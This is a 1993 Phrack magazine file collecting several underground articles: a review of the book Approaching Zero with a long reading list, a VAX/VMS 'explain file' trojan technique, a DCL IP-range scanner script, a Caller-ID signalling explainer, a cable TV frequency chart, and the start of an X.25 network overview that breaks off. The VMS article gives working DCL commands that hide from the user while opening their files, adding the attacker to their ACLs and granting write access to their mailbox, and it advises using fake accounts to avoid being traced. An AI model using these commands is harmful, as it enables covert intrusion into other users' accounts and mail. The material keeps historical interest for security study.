| ==Phrack Magazine== |
|
|
| Volume Four, Issue Forty-Two, File 5 of 27 |
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| ==== // // \\/ ==== |
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| /\ // // \\ // /=== ==== |
| //\\ // // // // \=\ ==== |
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| (cont) |
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| ****************************************************************************** |
|
|
| `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' |
| '` '` |
| `' Approaching Reality: `' |
| '` ~~~~~~~~~~~~~~~~~~~~ '` |
| `' A review of the new book Approaching Zero `' |
| '` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '` |
| `' by Aleph One `' |
| '` ~~~~~~~~~~~~ '` |
| `' `' |
| '`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` |
|
|
| When I started to read this book, I expected to read one more of the |
| series of books that claim to be the "definitive history of the computer |
| underworld" and the "first book to define the technological subculture of |
| phreaking, hacking, and virus writing". After all what does a guy that |
| writes for GQ, The Hollywood Reporter, Variety and Time know about the |
| computer underground? Well to my surprise the authors, Paul Mungo and |
| Bryan Clough (a member of the Virus Strategy Group, which is coordinated by |
| New Scotland Yard's Computer Crime Unit), did a pretty good job at presenting |
| the facts as they are. For the first time I heard a reporter and a |
| computer crime expert give real figures at how much computer crime has |
| really cost. Other than a few minor technical errors and the fact that |
| they fail to mention some people and groups (especially in the virus |
| section), the book was enjoyable to read. |
|
|
| The book covers the history of the underground starting with its |
| beginnings in the 60's, from phreaking to the adventures of Captain |
| Crunch and the rest of the bunch to the not so long ago Operation Sundevil |
| and the raids all over the country on members of the LOD, MOD and DPAC. |
| It also goes through the events that led to the German hackers spy trials, |
| and to the new generation of virus writers that are creating the new kind |
| of living organisms that roam cyberspace. They also discuss the gray |
| scale that categorizes hackers, from the good hackers to the bad to the |
| ones not that bad... those who are in it for profit and those who are |
| in it to learn. Hopefully all the readers of the book, hackers, security |
| specialists, reporters and the general public will get a better |
| understanding of what motivates hackers to do what they do by learning |
| where they come from. To the hackers let them learn not to repeat their |
| past errors. |
|
|
|
|
| I hope that the time of raids and sting operations has passed, but |
| the late developments in the Washington 2600 meeting have pulled a shadow |
| over my hopes. Has no one learned? Have the SS and FBI nothing better to |
| do? Just a few moths back someone pulled one of the greatest scams of all |
| by setting up a fake ATM and stealing a few thousand dollars. These are |
| the kind of people the authorities should be after. And to the hacker, |
| don't sell yourself! Remember this is a learning trip, once you start |
| forgetting to learn and start making money out of it, it is just another |
| job, an illegal one at that. |
|
|
| Approaching Zero was an exciting and interesting surprise. It has |
| given me the hint that maybe someone out there understands and I hope that |
| everyone that reads it (and you must, you must read and learn all you can) |
| will also understand. I just leave you with these words: Hacking comes |
| from the heart - sometimes in the form of an obsession, sometimes in the |
| form of a hobby - once that dies, there is nothing left to do. No more |
| traveling trough the nets! No more exploring new systems! You might as |
| well turn the power off. |
|
|
| -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= |
|
|
| What fallows is a list of books, papers and articles for those that |
| want to know a little more of how the media portrays us, and a little more |
| about the story of hacking in general. |
|
|
|
|
| Books: |
| ~~~~~~ |
|
|
| - "Approaching Zero" by Paul Mungo & Bryan Clough. Random House |
| 1992. |
|
|
| - "Beating the System" by Owen Bowcott & Sally Hamilton. London: |
| Bloomsbury, 1990. |
|
|
| - "Computer Viruses - A High-Tech Disease" by Ralf Burger. Grand |
| Rapids, MI: Abacus, 1988. |
|
|
| - "The Hackers' Handbook" by Hugo Cornwall. London: Century |
| Communications, 1985. |
|
|
| - "Computers Under Attack" by Peter Denning. Addison Wesley, 1990. |
|
|
| - "Profits of Deceit" by Patricia Franklin. London: William |
| Heinemann, 1990. |
|
|
| - "Cyberpunk" by Katie Hafner & John Markoff. London: Fourth Estate, |
| 1991. |
|
|
| - "Out of the Inner Circle" by Bill Landreth (aka The Cracker). |
| Redmond, WA.: Tempus Books, 1985. |
|
|
| - "Sillicon Valley Fever" by Judith K. Larsen & Everett M. Rogers. |
| London: George Allen & Unwin, 1985. |
|
|
| - "Computer Viruses" by Ralph Roberts. Greensboro, NC: Compute! Books, |
| 1988. |
|
|
| - "The Cuckoo's Egg" by Clifford Stoll. New York: Doubleday, 1989. |
|
|
| - "Spectacular Computer Crimes" by Buck BloomBecker. Dow Jones-Irwin, |
| 1990. |
|
|
| - "The New Hacker's Dictionary" by Eric Raymond. MIT Press, 1983. |
|
|
| - "The Hacker Crackdown" by Bruce Sterling. Bantam Books, 1992. |
|
|
| - "The Little Black Book of Computer Viruses" by Mark Ludwig. American |
| Eagle Publications, 1991. |
|
|
| - "Artificial Life" by Steven Levy. Panthenon, 1992. (For those virus |
| writers out there, use your tallen to create life.) |
|
|
|
|
| Articles & Papers: |
| ~~~~~~~~~~~~~~~~~~ |
|
|
| - "Crime and Puzzlement" by John Perry Barlow. Whole Earth Review, |
| Fall 1990: 44-57. |
|
|
| - "The Casino Virus - Gambling with Your Hard Disk" by Jim Bates. |
| Virus Bulletin, March 1991: 15-17. |
|
|
| - "The TP Viruses" by Vesselin Bontchev. Postings to Virus-L 1990. |
|
|
| - "In Defense of Hackers" by Craig Bromberg. The New York Times |
| Magazine, April 21, 1991. |
|
|
| - "Bulgaria - The Dark Country" by Bryan Clough. Virus Bulletin, |
| December 1990: 9-11. |
|
|
| - "Voice Mail Computer Abuse Prosecution: United States v. Doucette |
| a/k/a Kyrie" by William J. Cook. Safe Computing Proceedings of the |
| Fourth Annual Computer Virus & Security Conference, 1991, Organized |
| by National Computing Corporation. |
|
|
| - "Invasion of the Data Snatchers!" by Philip Elmer-De Witt. Time, |
| September 26, 1988: 63. |
|
|
| - "Data Exchange and How to Cope with This Problem: The Implication |
| of the German KGB Computer Espionage Affair" by Hans Gliss. Paper |
| presented at Securicom Italia, October 1989. |
|
|
| - "The Implications of the SPANet Hack." Computers Fraud & Security |
| Bulletin, Vol. 10, No. 2, 1987. |
|
|
| - "The Brain Virus: Fact and Fantasy" by Harold J. Highland. Computers |
| & Security, August 1988: 367-370. |
|
|
| - Computer Viruses - A Post Modern." Computer & Security, April 1988: |
| 117-184. |
|
|
| - "Terminal Delinquents" by Jack Hitt & Paul Tough. Esquire, December |
| 1990. |
|
|
| - "The Social Organization of the Computer Underground" by Gordon R. |
| Meyer. M.A. Thesis Submitted to the Graduate School, August 1989. |
|
|
| - "Satanic Viruses" by Paul Mungo. GQ, February 1991: 126-130. |
|
|
| - "Secrets of the Little Blue Box" by Ron Rosenbaum. Esquire, October |
| 1971, Collected in Travels with Dr. Death. New York: Viking Penguin, |
| 1991. |
|
|
| - "The Worm Program - Early Experience with a Distributed |
| Computations" by John F. Shoch. Communications of the ACM, Vol. 25, |
| No. 3, March 1982. |
|
|
| - "The Search for Den Zuk" by Fridrik Skulason. Virus Bulletin, |
| February 1991: 6-7. |
|
|
| - "Crisis and Aftermath" by Eugene H. Spafford. Communications of the |
| ACM. Vol. 32, No. 6, June 1989. |
|
|
| - "GURPS Labor Lost: The Cyberpunk Bust" by Bruce Sterling, Effector, |
| September 1991: 1. |
|
|
| - "Stalking the Wily Hacker" by Clifford Stoll. Communications of the |
| ACM. Vol. 31, No. 5, May 1988. |
|
|
| - "The Kinetics of Computer Virus Replication." by Peter S. Tippett. |
| FundationWare, March 1990. |
|
|
| - "The General and Logical Theory of Automata" by John L. von Neumann. |
| Hixon Symposium, September 1948. |
|
|
| - "Here Comes the Cyberpunk" by Eden Restored. Time, February 8, 1993: |
| 58-65. |
|
|
| - "Surfing Off the Edge" by Richard Begar. Time, February 8, 1993: 62. |
|
|
| - "Can Hackers Be Sued for Damages Caused by Computer Viruses?" by |
| Pamela Samuelson. Communications of the ACM. Vol. 32, No. 6, June |
| 1989. |
|
|
| - "Viruses and Criminal Law" by Michael Gemignani. Communications of |
| the ACM. Vol. 32, No. 6, June 1989. |
|
|
| - "Password Cracking: A Game of Wits" by Donn Seeley. Communications |
| of the ACM. Vol. 32, No. 6, June 1989. |
|
|
| - "The Cornell Commission: On Morris and the Worm" by Ted Eisenberg, |
| David Gries, Juris Artmanis, Don Holcomb, M. Stuart Lynn & Thomas |
| Santoro. Communications of the ACM. Vol. 32, No. 6, June 1989. |
|
|
| - "Desperately Seeking Cyberspace" by Paul Saffo. Personal Computing, |
| May 1989: 247-248. |
|
|
| - "Secrets of the Software Pirates" by Bylee Gomes. Esquire, January |
| 1982: 58-64. |
|
|
| - "Trouble in Cyberspace" by Willard Uncapher. The Humanist, |
| September/October 1991: 5-14,34. |
|
|
| - "Is Computer Hacking a Crime?" Capture of a discussion held on the |
| WELL. Harper's Magazine, March 1990: 45-57. |
|
|
| - "The United States vs. Craig Neidorf" by Dorothy E. Denning. |
| Communications of the ACM, Vol. 34, No. 3, March 1991: 24-32. |
|
|
| - "Colleagues Debate Denning's Comments." Communications of the ACM. |
| Vol. 34, No. 3, March 1991: 33-41. |
|
|
| - "Denning's Rebutal" by Dorothy E. Denning. Communications of the |
| ACM. Vol. 34, No. 3, March 1991: 42-43. |
|
|
| - "Coming into the Country" by John P. Barlow. Communications of the |
| ACM. Vol. 34, No. 3, March 1991: 19-21. |
|
|
| - "Off the Hook" by Julian Dibbell. Village Voice, August 21, 1990: 8. |
|
|
| - "On Line and Out of Bounds" by Julian Dibbell. Village Voice, July |
| 24, 1990:27-32. |
|
|
| - "Hi-Tech Mall Crawl" by Julian Dibbell. Village Voice. March 1990: 12 |
|
|
| - "Samurai Hackers" by Lynda Edwards. Rolling Stone, September 19, |
| 1991: 67-69. |
|
|
| - "Crackdown on hackers `may violate civil rights'" by Dan Charles. |
| New Scientist, July 21, 1990: 22. |
|
|
| - "United States v. Zod." The Economist, September 1, 1990: 23. |
|
|
| - "Drop the Phone." Time, January 9, 1989: 49. |
|
|
| - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific |
| American, May 1984: 14-21. |
|
|
| - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific |
| American, March 1985: 14-23. |
|
|
| - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific |
| American. March 1989: 110-113. |
|
|
| - "Computer Security: NAS Sounds the Alarm" by Eliot Marshall. Science, |
| Vol. 250: 1330. |
|
|
| - "Students Discover Computer Threat" by Gina Koda. Science, Vol. 215, |
| 5 March, 1982: 1216-1217. |
|
|
| - "A nationwide Computer-Fraud Ring Is Broken Up." The New York Times |
| National, Sunday, April 19, 1992. |
|
|
| - "Hackers: Is a Cure Worse than the Disease?" by Mark Lewyn. Business |
| Week, December 4, 1989: 37-38. |
|
|
| - "Computer Hacking Goes to Trail" by William F. Allman. U.S. News & |
| World Report, January 22, 1990: 25. |
|
|
| - "Morris Code: by Katie Hafner. The New Republican, February 19, 1990: |
| 15-16. |
|
|
| - "Hackers Intentions Key to Court Case" by David Lindley. Nature. Vol. |
| 340, August 3, 1989: 329. |
|
|
| - "Problems of Security" by David Lendley. Nature. Vol. 340. July 27, |
| 1989: 252. |
|
|
| - "Hostile Takeovers" by Paul Wallich. Scientific American, January |
| 1989: 22-23. |
|
|
| - "The Worm's Aftermath" by Eliot Marshall. Science, Vol. 242, November |
| 25, 1988: 1121-1122 |
|
|
| - "Researcher Fear Computer Virus' Will Slow Use of National Network" |
| by Calvin Sims. The New York Times, Monday, November 14, 1998: B6. |
|
|
| - "Networked Computers Hit by Intelligent `Virus'" by Joseph Palca & |
| Seth Shulman. Nature, Vol. 336, November 10, 1988: 97. |
|
|
| - "The Science of Computing: Computer Viruses" by Peter J. Denning. |
| American Scientist, Vol. 76, May-June 1988:236-238. |
|
|
| - "Cyberpunks and the Constitution" by Philip Elmer-Dewitt. Time, April |
| 8, 1991:81. |
|
|
| - "Plan to outlaw hacking." Nature, Vol. 341, October 19, 1989: 559. |
|
|
| - "Computer System Intruder Plucks Passwords and Avoids Detection" by |
| John Markoff. The New York Times National, Monday, March 19, 1990. |
|
|
| - "Networked Computer Security" by S.J. Buchsbaum. Vital Speeches of |
| the day. December 15, 1991: 150-155. |
|
|
| - "Halting Hackers." The Economist. October 28, 1989: 18. |
|
|
| - "Revenge of the Nerds" by Nocholas Martin. The Washington Monthly, |
| January 1989: 21-24. |
|
|
| - "Greater awareness of security in aftermath of computer worm" by Seth |
| Shulman & Joseph Palce. Nature, Vol. 336, November 1988: 301. |
|
|
| - "Avoiding Virus Hysteria" by Patrick Honan. Personal Computing, May |
| 1989: 85-92. |
|
|
| ***************************************************************************** |
|
|
| {----------------------------------------------} |
| { } |
| { VMS/VAX Explain Files Explained } |
| { or } |
| { Security Holes in the VAX and DCL } |
| { } |
| { By: The Arctic Knight } |
| { } |
| {----------------------------------------------} |
|
|
| VAX/VMS hacking has declined in popularity over the years due to the |
| abundance of UNIX machines now available. It has even gotten bad press from |
| fellow hackers. Included in this file is a security hole the size of , oh, |
| any of the older IBM mainframes. With a little curiosity, persistence, and |
| down right stubbornness I came across this rather obvious hole in the system. |
| However, this hole may be so obvious that it has remained relatively hidden |
| until now, especially since the decline of DCL users. |
| On most VAX systems, there is something called explain files. These are |
| usually help files that are made up by the system operators or borrowed from |
| somewhere to help better explain the way certain features of the system work, |
| whether they be general VAX commands, or system-specific programs. |
| When you are in your account (Presumably, a fake one, as this can be |
| tracked down if you are foolish) type: |
|
|
| $ explain index |
|
|
| and you will get a list of all the explain files on your system. Go ahead |
| and take a look around these just to get a feel of what it looks like. It |
| should be a menu driven list of text files to view or programs to run(!!!). |
| Most system operators only set this up to show various text files |
| describing commands like mentioned above. However, DCL .com files can be run |
| from explain files as well. Now comes the fun. Many systems will also allow |
| users to set up there own explain file. A really nice way to make it easy for |
| other users to view text files or run programs that you have set for group or |
| world access. |
| The first thing someone needs to do is make a file called INTRO.LKT which |
| will contain whatever introduction text that you would like displayed before |
| your explain file menu is displayed(i.e. you might have a description of |
| yourself, your duties, or a funny poem, or WHATEVER YOU WANT THAT CAN BE |
| CONTAINED IN A TEXT FILE!!!!) |
| You can use any editor to do this like EDT(a line editor) or TPU(a full |
| screen editor). You will need to type something along these lines to create the |
| file: |
|
|
| $set vt=100 !if using a full screen editor like TPU |
| $edit/tpu intro.lkt |
|
|
| After you are finished typing in the file, if you used TPU (A much better |
| choice than EDT), you press <CONTROL-Z> to save the file. Now you must create |
| a file called INDEX.LKI which will contain the file directories, filenames, |
| and short descriptions of the files that you want to have displayed. You do |
| this in the same manner as above, by entering an editor, and creating the file. |
|
|
| $edit/tpu index.lki |
|
|
| Now, in this file the lines should look like the following: |
| (File Directory) (Filename) (File Description) |
|
|
| Phrack41.txt A complete copy of Phrack 41 for your enjoyment. |
| User:[aknight.hack]vms.txt A guide to hacking VMS systems. |
| Temp$1:[aknight.ftp]ftplist.txt A list of FTP servers in-state. |
|
|
| Now, to explain these three lines. The first one will look for the program |
| in your main directory. The second line will look for the program listed after |
| it on the device called USER and in the HACK directory within the AKNIGHT |
| directory. The final line will look on the device called TEMP$1 in the FTP |
| directory within the AKNIGHT directory. Adding DCL programs will be explained |
| in a minute, but first lets get this up and running. |
| Now, that you have typed in the text files you want, and saved this file |
| you need to set the protection on your main directory and any others that need |
| accessing like the text files to group and world access. For the above example |
| one would want to type(assuming you are in your main directory): |
|
|
| $set prot=(g:re,w:re) user:[000000]aknight.dir !This is my main directory |
| $set prot=(g:re,w:re) user:[aknight.hack] |
| $set prot=(g:re,w:re) temp$1:[000000]aknight.dir !My second storage device |
| $set prot=(g:re,w:re) temp$1:[aknight.ftp] |
| $set prot=(g:r,w:r) phrack41.txt !Giving privs to read only |
| $set prot=(g:r,w:r) user:[aknight.hack]vms.txt |
| $set prot=(g:r,w:r) temp$1:[aknight.ftp]ftplist.txt |
|
|
| Now, if you type: |
|
|
| $explain aknight ! (my username in this instance,your normally) |
|
|
| You should get a print out to screen of your INTRO.LKT file and then a |
| message along the lines of "Hit <return> to continue". When you hit return a |
| menu will appear very similar to the normal explain file menu except with your |
| files listed and their descriptions which were accessed by the computer from |
| your INDEX.LKI file. It would look like this(or something similar) in the above |
| example. |
|
|
| {a print out of my INTRO.LKT file...} |
|
|
| Hit <RETURN> to continue |
|
|
| EXPLAIN AKNIGHT |
| ================================================================================ |
| (A) PHRACK41 T-A complete copy of Phrack 41 for your enjoyment. |
| (B) VMS T-A guide to hacking VMS systems. |
| (C) *EXPLAIN/USER AKNIGHT FTPLIST |
| T-A list of FTP servers in-state. |
| (Q) TERMINATE THIS PROGRAM |
| ================================================================================ |
| T = Text Display P = Program to be run |
| (* = Related Information) |
| Choose A-C, Q, oe type HELP for assistance. |
|
|
| Now you have an explain file. Pressing A-C will print those files to |
| screen with pauses at each page if set up on your system/account to do so. I |
| typed out number C the way I did, because when it has to access a directory |
| other than it's main one, it will usually do this. I think there is away around |
| this, but to be quite honest I haven't bothered figuring it out yet. When you |
| quit, you will be dropped back off at your main prompt. The reason you need to |
| set your protections, is because even thought from your account, it may look |
| like it is working, if you don't set your protections as described above, |
| NO ONE else will be able to view it!! |
| Now, comes the fun part. Putting DCL .COM files into your explain file. |
| These are put into your index just like any text file. So you could type up a |
| program to let someone copy the public files you have in your account to their |
| directory, or something similar. The security flaw comes in here and it is |
| a big one. Since a user is accessing your explain file from their account, any |
| file that they run, issues commands in their account. So, one might plant a |
| line in the middle of the above program that say something like: |
|
|
| $set def sys$login !Returns them to their main directory. |
| $set prot=(g:rwed,w:rwed) *.*;* !Their files are now read, write, execute, |
| !and deleteable by anyone, including you. |
|
|
| Here is another idea. Say you create a text reader in DCL, to allow people |
| to jump around in the text files you have, skip pages, etc. called TYPE.COM in |
| your main directory. Anytime you can fool people into thinking that the |
| computer is taking a little time to think, you can insert some major commands, |
| i.e. when it is skipping pages, or coping files, which almost takes no time at |
| all in reality. I STRONGLY suggest starting any program you plan to nest |
| commands like this into with: |
|
|
| $set noverify |
|
|
| Which will make sure that the program lines don't get printed to the |
| screen as they are running. Another important command to know is the following |
| which will cause the next text output from the VAX to be sent to a NULL device, |
| so it will essentially be lost and not printed to the screen. So, if one is |
| accessing someone's mailbox, you don't want a messaging appearing on screen |
| saying that you have entered VAX/VMS mail or whatever. The command is: |
|
|
| $assign nl:sys$output/user |
|
|
| If you forget the /user it will send the output to the null device for the |
| session, instead of just one line. |
| Some other things one might do would be to add yourself to someone's |
| ACL(access control list) by typing: |
|
|
| $set acl/acl=(ident=[aknight],access=control) *.*;* |
|
|
| Now, this will give you access to all their files just as if you were the |
| user, however if they bother to ever do a dir/prot command your username will |
| be printed all over the screen, so one would suggest if you must do this, to |
| use a fake account. Same with this below command: |
|
|
| $assign nl:sys$output/user |
| $mail set write aknight |
|
|
| The second line will give me read and write access to someone's mailbox, |
| but once again if they bother to check their mailbox protections your username |
| will be displayed. |
| In case, you haven't realized this yet, this all has A LOT of potential, |
| and what I have mentioned here is just the tip of the iceberg and really mostly |
| small and even foolish things to do, but the fact comes down to ANYTHING the |
| user can do in their account, YOU can do in there account if you know the right |
| commands and have the patience to nest them into a .COM file well enough. |
| When you have created the .COM file and added it to the INDEX.LKI file, |
| then you will need to set the protection of the file like so: |
|
|
| $set prot=(g:e,w:e) type.com !Execution only. No read privs. |
|
|
| You now have it a fully functional explain file that is only held down by |
| your imagination. |
|
|
| Remember, malicious actions aren't the sign of a true hacker, so don't |
| delete a users complete directory just because you want to show of your power. |
| Most people won't be impressed. If your a SYSOP, fix this DAMN HOLE!!! And if |
| your a user well, learn the system quickly, explore, absorb, and discover some |
| other hole before the above SYSOP patches this one...... |
|
|
| COMMENTS, QUESTIONS, ADDITIONS, ETC can be sent to PHRACK LOOPBACK. ENJOY!! |
| {______________________________________________________________________________} |
|
|
| ***************************************************************************** |
|
|
| A Internet Scanner |
|
|
| (War Dialer) |
|
|
| by |
|
|
| MadHatter |
|
|
|
|
|
|
| Purpose of this program |
| ~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| Remember those scanner, war dialer programs everyone used to scan areas of |
| telephone numbers to find unknown hosts? Well, now your on the net and you're |
| targeting some certain establishment, and you know which part of the net they |
| own, but the hell if you know what the actual IP addresses of their hosts are... |
| Telneting to NIC.DDN.MIL is no help, their records are a year old... Might as |
| well have been 10 yrs ago... So you type every possible IP address in. Right? |
| After a while that shit gets tiring... Well, hell let the computer do it, |
| that's what its there for. More speed, no sore fingers, no bitching, and it |
| runs when you're not there. Almost perfect..... |
|
|
|
|
| Program Details |
| ~~~~~~~~~~~~~~~ |
| DCL is the language and it runs on Vaxen. A,B,C,D respectively represent |
| the starting IP address. E,F,G,H respectively represent the ending IP address |
| (ex. If you what to start at 4.1.1.1 and end at 6.1.1.1 then a = 4, B = 1, |
| etc., E = 6, F = 1, etc.) |
| The prog creates a data file (FINAL.DAT) that holds all successful |
| connections. If you run it in batch, it also creates a .log file. This by |
| far takes up most of the memory. When the program quits, delete it. |
| This prog is just one big loop. It finds a good telnet address and then |
| reIFINGERs there, saving it. |
|
|
|
|
| Program Changes |
| ~~~~~~~~~~~~~~~ |
|
|
| If you run it in batch, then you might (probably) have to define where |
| the IFINGER or FINGER program is. Make sure it is the one for FINGERing remote |
| hosts, the commands for it vary. Why do you have to define it? Because the |
| dumb-ass sysop couldn't think of why anyone would want to use it in batch. |
|
|
|
|
| Problems |
| ~~~~~~~~ |
|
|
| The IFINGER (FINGER) command might not connect to some hosts from your |
| system. Why can you TELNET there but no IFINGER? It all probably has to do |
| with the other host (it has tight security, too far away, doesn't support |
| FINGERing, etc.). |
|
|
|
|
| No Solutions (Just one) |
| ~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| You say if I can TELNET to more places than IFINGERing, why not base the |
| scanner on the TELNET command? Two reasons: (1) the security with the TELNET |
| command requires its output goes to a terminal, never to run in batch; (2) the |
| TELNET command does not give the character address (at least not on the system I |
| use). To have the character address is valuable to me. The program lists the |
| IP address, the character address, then whatever finger came up with. |
| When running in batch, the program will quit eventually (do to MAX CPU |
| time or exceeded disk quota). This can be a pain (especially if its CPU time), |
| you can always get more memory. Try changing the file specifics in the prog, |
| and run many versions of it at once, to get as much cpu time as possible. |
| For memory, clear your account, or get more of them. Another problem is when |
| your program has stopped and you have nothing in FINAL.DAT file. So where do |
| you start the batch off again? All I can say is count the number of failed |
| connections and add 'em to your previous start address, start at that address. |
|
|
|
|
| More Ideas |
| ~~~~~~~~~~ |
|
|
| If you want the net area of an establishment then ftp to NIC.DDN.MIL and |
| get the hosts listing, or TELNET there and search for the name. |
| Some areas of the net do not like to be scanned. Your sysop will get nasty |
| calls, and then you will get nasty e-mail if you for instance scan the Army |
| Information Systems Center. Or any other government org. Of course, this |
| program wouldn't hurt them at all, it would bounce back. They use firewalls. |
| But they will bitch anyway. |
| After you run this program for awhile, you'll notice the net is really |
| a big empty place. Hosts are few and far between (at least address wise). |
| Are you agoraphobic yet? What do you do with all this room? |
|
|
|
|
| MadHatter |
|
|
|
|
| *----------------------------CUT HERE------------------------------------------* |
| $ A = 0 |
| $ B = 0 |
| $ C = 0 |
| $ D = 0 |
| $ E = 257 |
| $ F = 0 |
| $ G = 0 |
| $ H = 0 |
| $ D = D - 1 |
| $ IFINGER := $VMS$UTIL:[IFINGER]FINGER.EXE;1 |
| $ CREATE FINAL.DAT |
| $ LOOP1: |
| $ ON SEVERE_ERROR THEN GOTO SKIP |
| $ D = D + 1 |
| $ IFINGER @'A'.'B'.'C'.'D' |
| $ ON SEVERE_ERROR THEN GOTO SKIP |
| $ ASSIGN TEMPFILE.DAT SYS$OUTPUT |
| $ WRITE SYS$OUTPUT "["'A'"."'B'"."'C'"."'D'"]" |
| $ IFINGER @'A'.'B'.'C'.'D' |
| $ DEASSIGN SYS$OUTPUT |
| $ APPEND TEMPFILE.DAT FINAL.DAT |
| $ DELETE TEMPFILE.DAT;* |
| $ SKIP: |
| $ IF A .EQ. E THEN IF B .EQ. F THEN IF C .EQ. G THEN IF D .EQ. H THEN EXIT |
| $ IF D .EQ. 256 THEN GOTO LOOP2 |
| $ IF C .EQ. 256 THEN GOTO LOOP3 |
| $ IF B .EQ. 256 THEN GOTO LOOP4 |
| $ GOTO LOOP1 |
| $ LOOP2: |
| $ D = 0 |
| $ C = C + 1 |
| $ GOTO LOOP1 |
| $ LOOP3: |
| $ C = 0 |
| $ B = B + 1 |
| $ GOTO LOOP1 |
| $ LOOP4: |
| $ B = 0 |
| $ A = A + 1 |
| $ GOTO LOOP1 |
| $ EXIT |
| *------------------------------------CUT HERE----------------------------------* |
|
|
| ***************************************************************************** |
|
|
| Caller Identification |
| by (Loq)ue & Key |
| 3/20/93 |
|
|
|
|
| Caller-Identification (CID), is a relatively new service being |
| offered by several carriers. It is part of a total revamp of the |
| telephone network, with the telephone companies trying to get people |
| to spend more money on their systems. CID is just one of the newer |
| CLASS services, which will eventually lead into ISDN in all areas. |
|
|
| Caller-ID allows a receiving party to see the number that is |
| calling before they pick up the phone. It can be used for everything |
| from pizza delivery to stopping prank callers. One scenario |
| made possible from CID is one where a salesman dials your number, |
| you look on a little box and see that it is someone you don't want |
| to talk to, so you promptly pick up the phone, say "Sorry, I don't |
| want any *** *** products" and slam down the receiver. Ah, the |
| wonders of modern technology. |
|
|
| Caller-ID starts by a person making a call. When the person |
| dials a number, the local switch rings the calling number once, and |
| then sends a specially encoded packet to the number, after checking |
| to see if that caller has access to the Calling Number Delivery |
| service. |
|
|
| The packet can contain any information, but currently it holds |
| a data stream that contains flow control, and error checking data. |
| The specifications state that several signals can exist, however, |
| only the Caller-ID signal is used currently. |
|
|
| The CID packet begins with a "Channel Seizure Signal". The |
| CSC is 30 bytes of hex 55, binary 01010101, which is equivalent to |
| 250 milliseconds of a 600 hz square wave. |
|
|
| The second signal is the "Carrier Signal," which lasts for 150 |
| milliseconds, and contains all binary 1's. The receiving equipment |
| should have been "woken-up" by the previous signal and should now |
| be waiting for the important information to come across. |
|
|
| Next are the "Message Type Word", and the "Message Length Word". |
| The MTW contains a Hex $04 for CID applications, with several other |
| codes being planned, for example $0A to mean message waiting for |
| a pager. The MLW contains the binary equivalent of the number of |
| digits in the calling number. |
|
|
| The data words come next, in ASCII, with the least significant |
| digit first. It is padded in from with a binary 0, and followed by |
| a binary 1. A checksum word comes after that, which contains the |
| twos-complement sum of the MLW and data words. |
|
|
| The checksum word usually signals the end of the message from |
| the CO, however, other messages for equipment to decode can occur |
| afterwards. |
|
|
| Caller-ID can usually be disabled with a 3 digit sequence, |
| which can vary from CO to CO. Several of these have been mentioned |
| in the past on Usenet, in comp.dcom.telecom. |
|
|
| Caller-ID chips are available from many sources, however, |
| remember that you must connect these chips through an FCC-approved |
| Part-68 Interface. Several of these interfaces are available, |
| however they are fairly expensive for an amateur electronics hacker. |
|
|
| If you have any more questions on CID, mail me at the above |
| address, or post to comp.dcom.telecom. |
|
|
| Additional Sources from Bellcore: |
|
|
| Nynex Catalog of Technical Information #NIP-7400 |
| SPCS Customer Premises Equipment Data Interface #TR-TSY-0030 |
| CLASS Feature: Calling Number Delivery #FSD-02-1051 |
| CLASS Feature: Calling Number Blocking #TR-TSY-000391 |
|
|
| ***************************************************************************** |
|
|
| THE "OFFICIAL" CABLE TELEVISION VIDEO FREQUENCY SPECTRUM CHART |
| COURTESY OF: JOE (WA1VIA) & JIM (WA1FTA) |
|
|
| CATV CHANNEL FREQUENCY (MHz) CATV CHANNEL FREQUENCY (MHz) |
| ------------------------------------------------------------------------------- |
| 2 2 55.25 37 AA 301.25 |
| 3 3 61.25 38 BB 307.25 |
| 4 4 67.25 39 CC 313.25 |
| 5 5 77.25 40 DD 319.25 |
| 6 6 83.25 (85.25 ICC) 41 EE 325.25 |
| --------------------------------------- 42 FF 331.25 |
| 7 7 175.25 43 GG 337.25 |
| 8 8 181.25 44 HH 343.25 |
| 9 9 187.25 45 II 349.25 |
| 10 10 193.25 46 JJ 355.25 |
| 11 11 199.25 47 KK 361.25 |
| 12 12 205.25 48 LL 367.25 |
| 13 13 211.25 49 MM 373.25 |
| --------------------------------------- 50 NN 379.25 |
| 14 A 121.25 51 OO 385.25 |
| 15 B 127.25 52 PP 391.25 |
| 16 C 133.25 53 QQ 397.25 |
| 17 D 139.25 54 RR 403.25 |
| 18 E 145.25 55 SS 409.25 |
| 19 F 151.25 56 TT 415.25 |
| 20 G 157.25 57 UU 421.25 |
| 21 H 163.25 58 VV 427.25 |
| 22 I 169.25 59 WW 433.25 |
| ---------------------------------------- 60 W+ 439.25 |
| 23 J 217.25 --------------------------------- |
| 24 K 223.25 61 W+1 445.25 |
| 25 L 229.25 62 W+2 451.25 |
| 26 M 235.25 63 W+3 457.25 |
| 27 N 241.25 64 W+4 463.25 |
| 28 O 247.25 65 W+5 469.25 |
| 29 P 253.25 --------------------------------- |
| 30 Q 259.25 66 A-1 115.25 |
| 31 R 265.25 67 A-2 109.25 |
| 32 S 271.25 68 A-3 103.25 |
| 33 T 277.25 69 A-4 97.25 |
| 34 U 283.25 70 A-5 91.25 |
| 35 V 289.25 --------------------------------- |
| 36 W 295.25 01 A-8 73.25 |
| ------------------------------------------------------------------------------- |
| * This chart was created 08/19/89 by: WA1VIA & WA1FTA. Some uses include the |
| isolation of CATV interference to other radio services, and building of active |
| & passive filters, and descramblers. This does NOT give you the right to view |
| or decode premium cable channels; without proper authorization from your local |
| cable TV company. Federal and various state laws provide for substantial civil |
| an criminal penalties for unauthorized use. |
| ------------------------------------------------------------------------------- |
| ****************************************************************************** |
|
|
| ----------------------------- |
| The CSUNet X.25 Network |
| Overview by Belgorath |
| ----------------------------- |
| C y b e r C o r p s |
|
|
| Calstate University, along with Humboldt State, runs a small X.25 network |
| interconnecting its campuses. This file will attempt to give an overview of |
| this network. The hosts on this network are connected via 9600-baud links. The |
| main PAD on this network is a PCI/01 that allows the user to connect to several |
| hosts. Among them are: |
|
|
